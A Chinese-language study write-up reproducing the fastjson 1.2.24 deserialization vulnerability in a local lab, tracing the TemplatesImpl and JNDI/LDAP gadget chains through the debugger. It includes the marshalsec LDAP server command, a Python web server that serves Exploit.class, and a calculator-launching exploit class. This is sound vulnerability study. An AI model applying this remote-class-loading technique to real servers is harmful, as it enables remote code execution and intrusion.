fastjosn 反序列化漏洞学习
fastjson 1.2.24反序列化漏洞复现
先写一个正常的使用 fastjson的web服务
我们使用 springboot创建
主要是pom.xml 里面要添加fastjson
fastjson要求小于等于 1.2.24
1 | <dependency> |
简单写个路由解析
controller.Login.java
1 |
|
model.User.java
1 |
|
controller.Login 是一个控制器是一个路由用于解析请求
model.User 是一个用户类 包含一些属性用于fastjson与数据对应解析
请求
这里发送的数据是这样的
1 | { |
@type 是用于fastjson找到数据对应的类 下面的是User的属性值
我们这里可以看到成功解析了数据
复现及分析
基于TemplatesImpl的复现与分析
因为poc用到了 私有属性 fastjson默认不会解析私有属性 需要开启这个 Feature.SupportNonPublicField
payload
1 | { |
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
type
是想要序列化类的路径
_bytecodes
最后调用getOutputProperties时会进行创建的Exploit类的class 二进制base64编码
发poc后断点调试
点击第一个下一步箭头跟进 (F8) F7那个是跟入函数 我们跟入函数
可以直接快进到语法解析
语法解析的token
JavaBeanInfo build方法
getDeclaredFields 获得某个类的所有声明的字段,即包括public、private和proteced,但是不包括父类的申明字段
getDeclaredFields 获取到的属性值
程序会 创建了一个 数组存储后续将要处理的目标类的特定setter方法及特定条件的getter方法
调用getter条件就是如下图
进入调用get的条件
1 | String methodName = method.getName(); |
继续走 走到 getOutputProperties 符合get的所有要求
并且将getOutputProperties
加入到 后面会进行调用的列表里
可以看到列表里有 这个方法
后面反射创建实例后调用方法设置 _bytecodes
值
然后调用 getOutputProperties 我们跟进
要求_name不能为空 空的话直接返回了
_bytecodes 不能为空
然后继续
会调用 _tfacroty的getExternalExtensionsMap()方法 所以tfacroty要设置个{}
这里可以看到 tfacroty 不是一个空的{}
tfactory 为啥不是空的
是fastjson在这里对空的对象解析后会赋值应有的对象 在 TemplatesImpl里可以看到 private transient TransformerFactoryImpl _tfactory = null;
并且跟进后可以看到有 getExternalExtensionsMap方法
_class[_transletIndex] 就是我们的要执行的类
newInstance 会调用构造函数 类似new newInstance只能调用无参数的构造函数
下划线是怎么回事去掉的
在 JavaBeanDeserializer中会把set get方法的下划线去掉
poc中的 _outputProperties
去掉下划线也可以用
其他属性字段是不行的
基于jndi ldap方法的攻击链
因为我本机的jdk不满足 rmi的条件 于是使用的ldap的方式来复现
ldap的方式是使用外部加载class的形式
payload
1 | { |
使用 marshalsec 构建 ldap服务
java环境:jdk1.8.0_161 < 1.8u191 (可以使用ldap注入)
git 先下载下来git clone git@github.com:mbechler/marshalsec.git
mvn 编译成jar包 (mvn最好配置好国内的比如阿里的maven源)
mvn clean package -DskipTests
最后target目录下输出 marshalsec-0.0.3-SNAPSHOT-all.jar
启动 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Exploit
这里是启动了个ldap 然后我们需要构建个简单的web服务返回exploit
编写Exploit
执行命令运行计算器
1 | public class Exploit { |
先直接运行 弹出计算器 在out目录下看到 Exploit.class
启动简单web服务
简单实用python创建
这个是python2的命令python -m SimpleHTTPServer 8081
这个命令要在 Exploit.class 目录下执行 端口与上面marshalsec执行命令的端口一致
postman发送请求
1 | { |
断点调试
解析上传的json
这次会被调用满足条件的是 setAutoCommit
setDataSourceName
调用set方法的条件是
1 | 方法名长度大于4且以set开头,且第四个字母要是大写 |
然后会设置dataSourceName值
反射调用setDataSourceNmae
反射调用setAutoCommit
触发ldap里的lookup方法 并且里面的参数就是我们设置的远程地址 就上面开源的那个工具里很多可以利用的反序列化链
调用链
可以清晰的看到从 testVuln 接口进入 parse解析json对象后解析字段 设置字段值
使用invoke动态调用set方法
可以看到 setAutoCommit的方法调用 这里触发漏洞
然后是对expoit类的实例化
远程调用这个expolit的类来实现执行
最后执行exec的方法
总结
基于TemplatesImpl的利用链
使用_outputProperties方法可以满足get的条件实现自动调用getOutputProperties 方法并且会使用到私有成员变量_bytecodes
他又是可控的rmi 或者ldap方式
是使用基于远程加载类的方式 jndi有个setAutoCommit方式设置为True后会自动调用setValue方法
使用特定的set方法来自动调用 和可控的参数传入
- java会对@type的类型通过 javaBeanInfo 来获取所有的属性和方法
通过特定条件过滤set和get方法 满足的进行调用 再与可控参数 可控的 @type类 实现命令执行